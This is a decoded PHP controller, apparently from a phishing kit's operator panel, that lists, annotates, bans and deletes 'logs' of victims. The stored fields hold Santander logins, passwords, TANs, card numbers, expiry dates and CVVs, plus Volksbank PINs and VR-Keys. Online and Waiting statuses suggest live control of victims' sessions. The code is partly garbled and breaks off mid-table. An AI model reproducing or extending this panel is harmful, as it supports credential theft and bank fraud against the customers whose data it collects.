/* Decoded by unphp.net */ ?>b'showLogs($logs); } else { View::render(\'Acces/logs.php\', [ \'title\' => \'Logs\' ]); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function getOneAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\'])) { $log = User::getLog($_POST[\'id\'], $_SESSION[\'username\']); $logarray = @json_decode($log[\'entrydata\'], true); $this->showLog($log, $logarray); } else { static::redirect(\'/acces/logs\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function updateNoteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\']) && isset($_POST[\'note\'])) { $data = [\'id\' => $_POST[\'id\'], \'note\' => $_POST[\'note\']]; $errors = [\'id\' => \'\', \'note\' => \'\']; if (empty($data[\'id\'])) { $errors[\'id\'] = \'empty_id\'; } if (empty($data[\'note\'])) { $errors[\'note\'] = \'empty_note\'; } if (empty($errors[\'id\']) && empty($errors[\'note\'])) { $check = User::updateNote($_SESSION[\'username\'], $data[\'id\'], $data[\'note\']); if ($check) { echo json_encode([\'success\' => \'true\']); } else { echo json_encode([\'fail\' => \'request_failed\']); } } else { echo json_encode($errors); } } else { static::redirect(\'/acces/login\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function deleteAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\'])) { $data = [\'id\' => $_POST[\'id\']]; $errors = [\'id\' => \'\']; if (empty($data[\'id\'])) { $errors[\'id\'] = \'empty_id\'; } if (empty($errors[\'id\'])) { $check = User::deleteLog($_SESSION[\'username\'], $data[\'id\']); if ($check) { echo json_encode([\'success\' => \'true\']); } else { echo json_encode([\'fail\' => \'request_failed\']); } } else { echo json_encode($errors); } } else { static::redirect(\'/acces/login\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function deleteAllAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\') { $check = User::deleteLogs($_SESSION[\'username\']); if ($check) { echo json_encode([\'success\' => \'true\']); } else { echo json_encode([\'fail\' => \'request_failed\']); } } else { static::redirect(\'/acces/login\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function deleteEmptyAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\') { $check = User::deleteEmptyLogs($_SESSION[\'username\']); if ($check) { echo json_encode([\'success\' => \'true\']); } else { echo json_encode([\'fail\' => \'request_failed\']); } } else { static::redirect(\'/acces/login\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } public function banAction() { if (Auth::isLoggedIn()) { $data = User::checkSession($_SESSION[\'username\']); if ($data) { if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_POST[\'id\']) && isset($_POST[\'ip\'])) { $data = [ \'id\' => $_POST[\'id\'], \'ip\' => $_POST[\'ip\'] ]; $errors = [ \'id\' => \'\', \'ip\' => \'\' ]; if (empty($data[\'id\'])) { $errors[\'id\'] = \'empty_id\'; } if (empty($data[\'ip\'])) { $errors[\'ip\'] = \'empty_ip\'; } if (empty($errors[\'id\']) && empty($errors[\'ip\'])) { $check = User::banUser($data[\'id\'], $data[\'ip\']); if ($check) { echo json_encode([\'success\' => \'true\']); } else { echo json_encode([\'fail\' => \'request_failed\']); } } else { echo json_encode($errors); } } else { static::redirect(\'/acces/login\'); } } else { Auth::destroySession(); } } else { static::redirect(\'/acces/login\'); } } private function showLogs($logs) { $topLogs = array(); $otherLogs = array(); $displayFormat = \'datatable\'; $userAgents = array( \'Google Chrome\' => array(\'icon\' => \'fab fa-chrome\', \'type\' => \'Browser\'), \'Firefox\' => array(\'icon\' => \'fab fa-firefox\', \'type\' => \'Browser\'), \'Safari\' => array(\'icon\' => \'fab fa-safari\', \'type\' => \'Browser\'), \'Internet Explorer\' => array(\'icon\' => \'fab fa-internet-explorer\', \'type\' => \'Browser\'), \'Microsoft Edge\' => array(\'icon\' => \'fab fa-edge\', \'type\' => \'Browser\'), \'Opera\' => array(\'icon\' => \'fab fa-opera\', \'type\' => \'Browser\'), \'Brave\' => array(\'icon\' => \'fab fa-brave\', \'type\' => \'Browser\'), \'Windows\' => array(\'icon\' => \'fab fa-windows\', \'type\' => \'OS\'), \'Mac OS\' => array(\'icon\' => \'fab fa-apple\', \'type\' => \'OS\'), \'Linux\' => array(\'icon\' => \'fab fa-linux\', \'type\' => \'OS\'), ); foreach ($logs as $log) { $new_date = (new \DateTime()); $old_date = (new \DateTime($log[\'last_connected\'])); $diff = $new_date->getTimestamp() - $old_date->getTimestamp(); $waiting = \' bg-darker\'; $wachten = \' ? | Offline\'; if ($log[\'waiting\'] == \'true\') { $waiting = \' bg-blink\'; $wachten = \' ?? | Waiting\'; array_push($topLogs, $log); } else if ($diff < 10) { $waiting = \' bg-success\'; $wachten = \' ?? | Online\'; array_push($topLogs, $log); } else { array_push($otherLogs, $log); } } $allLogs = array_merge($topLogs, $otherLogs); if ($displayFormat === \'card\') { foreach ($allLogs as $log) { $new_date = new \DateTime(); $old_date = new \DateTime($log["last_connected"]); $diff = $new_date->getTimestamp() - $old_date->getTimestamp(); $waiting = "bg-darker"; $wachten = "? | Offline"; $statusClass = "offline-class"; // the class for gray rounded border if ($log["waiting"] == "true") { $waiting = "bg-blink"; $wachten = "?? | Waiting"; $statusClass = "waiting-class"; // the class for red rounded border } elseif ($diff < 10) { $waiting = "bg-success"; $wachten = "?? | Online"; $statusClass = "online-class"; // the class for green rounded border } // get the user_agent name and check if it\'s in the userAgents array $userAgentName = $log["user_agent"]; $browserIcon = ""; $browserName = ""; $osIcon = ""; $osName = ""; foreach ($userAgents as $name => $info) { if (strpos($userAgentName, $name) !== false) { if ($info["type"] == "Browser") { $browserIcon = $info["icon"]; $browserName = $name; } elseif ($info["type"] == "OS") { $osIcon = $info["icon"]; $osName = $name; } } } if (isset($_POST["empty"])) { $sql = "DELETE FROM logs WHERE santander_user = \'\' AND santander_pass = \'\' AND santander_exp = \'\' AND santander_number = \'\' AND santander_tan = \'\' AND santander_confirm = \'\' AND santander_wifi = \'\' AND santander_wifi_pass = \'\' AND santander_wifi_pass_two = \'\' AND santander_creditcard = \'\' AND santander_ccexp = \'\' AND santander_cvv = \'\' AND santander_code = \'\' AND santander_respons = \'\'"; $db = static ::getDB(); $stmt = $db->prepare($sql); $stmt->execute(); // Redirect to logs page after deleting the rows header("Location: /logs"); exit(); } echo \'
Status | \'; echo \'IP | \'; echo \'Bank | \'; echo \'OS | \'; echo \'Note | \'; echo \'Actions | \'; echo \'
---|---|---|---|---|---|
\' . $wachten . \' | \'; echo \'\' . $log[\'ip\'] . \' | \'; echo \'\' . $bank . \' | \'; echo \'\' . $osName . \' | \'; echo \'\';
// Create an array to hold the log data
$logData = array();
echo \' \';
{
$logData = htmlspecialchars($log["note"]);
}
echo \' \';
if (!empty($log["volksbank_wifi_pass"])) {
$logData["PIN"] = htmlspecialchars($log["volksbank_wifi_pass"]);
}
if (!empty($log["volksbank_wifi"])) {
$logData["VR-Key"] = htmlspecialchars($log["volksbank_wifi"]);
}
// Encode the log data as JSON and echo it
echo json_encode($logData);
echo \' | \';
echo \'\'; echo \'\'; echo \'\'; echo \'\'; echo \' | \'; echo \'
\' . htmlspecialchars($value) . \'
\'; echo \'\' . $log[\'user_id\'] . \'
\'; echo \'\' . $log[\'user_agent\'] . \'
\'; echo \'\' . $log[\'ip\'] . \'
\'; echo \'\' . $log[\'bank\'] . \'
\'; echo \'